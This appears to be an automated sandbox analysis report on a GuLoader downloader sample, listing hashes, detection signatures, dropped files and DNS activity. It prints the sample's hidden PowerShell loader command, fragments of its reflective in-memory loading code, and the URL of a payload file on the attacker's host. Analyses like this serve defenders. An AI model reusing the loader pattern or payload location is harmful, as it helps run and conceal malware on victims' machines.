Windows Analysis Report
3lH2EWD4wU.exe

Overview

General Information

Sample name: 3lH2EWD4wU.exe
renamed because original name is a hash value
Original sample name: 2f9c0ba283506d8333e4f59b29fbeba3.exe
Analysis ID: 1544504
MD5: 2f9c0ba283506d8333e4f59b29fbeba3
SHA1: 23bc0a40b6690dab55d797e9c35cd82d796b85b1
SHA256: 979268f75b22895faa5d5b6b39442c8caa36d325edea3faf7c3d7a81d09041b0
Tags: 32exenjrattrojan
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Early bird code injection technique detected
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected GuLoader
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Powershell drops PE file
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses 32bit PE files

Classification

Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

AV Detection
barindex
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Stofnd\3lH2EWD4wU.exe ReversingLabs: Detection: 21%
Multi AV Scanner detection for submitted file
Source: 3lH2EWD4wU.exe ReversingLabs: Detection: 21%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.6% probability
Uses 32bit PE files
Source: 3lH2EWD4wU.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: 3lH2EWD4wU.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_004062A3 FindFirstFileA,FindClose, 0_2_004062A3
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_00405768 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 0_2_00405768
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_004026FE FindFirstFileA, 0_2_004026FE
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Source: unknown DNS traffic detected: query: www.bookinginfo.asia replaycode: Name error (3)
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: www.bookinginfo.asia
Source: 3lH2EWD4wU.exe, 3lH2EWD4wU.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: 3lH2EWD4wU.exe, 3lH2EWD4wU.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/.asia:443)
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/:P
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/R
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/Win64;
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/dP
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/mP
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/n
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3464521069.0000000023AD0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bin
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bin)
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bin1
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bin;
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.binJ
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bineYQ
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.binv
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bin~Y
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/rP
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/www.bookinginfo.asia
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008AE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/www.bookinginfo.asia5
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_00405205 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00405205

System Summary
barindex
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Stofnd\3lH2EWD4wU.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_0040320C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040320C
Detected potential crypto function
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_00404A44 0_2_00404A44
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_00406F54 0_2_00406F54
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_0040677D 0_2_0040677D
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Stofnd\3lH2EWD4wU.exe 979268F75B22895FAA5D5B6B39442C8CAA36D325EDEA3FAF7C3D7A81D09041B0
Uses 32bit PE files
Source: 3lH2EWD4wU.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engine Classification label: mal100.troj.evad.winEXE@6/13@12/0
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_0040320C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040320C
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_004044D1 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_004044D1
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_004020D1 CoCreateInstance,MultiByteToWideChar, 0_2_004020D1
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe File created: C:\Users\user\AppData\Roaming\mobiliseredes Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3872:120:WilError_03
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe File created: C:\Users\user\AppData\Local\Temp\nsuC9B8.tmp Jump to behavior
Source: 3lH2EWD4wU.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 3lH2EWD4wU.exe ReversingLabs: Detection: 21%
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe File read: C:\Users\user\Desktop\3lH2EWD4wU.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\3lH2EWD4wU.exe "C:\Users\user\Desktop\3lH2EWD4wU.exe"
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) " Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe" Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: 3lH2EWD4wU.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000008.00000002.3447816394.0000000007D74000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Pox $trinodal $Fyresedlers48), (Kejsertiders @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:haandten = [AppDomain]::CurrentDomain.GetAssemblies()$global:P
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Oversttergenerators)), $Slagskygges).DefineDynamicModule($Carpid11, $false).DefineType($Windshake, $Neurologists, [System.MulticastDel
Suspicious powershell command line found
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) "
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) " Jump to behavior
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Stofnd\3lH2EWD4wU.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
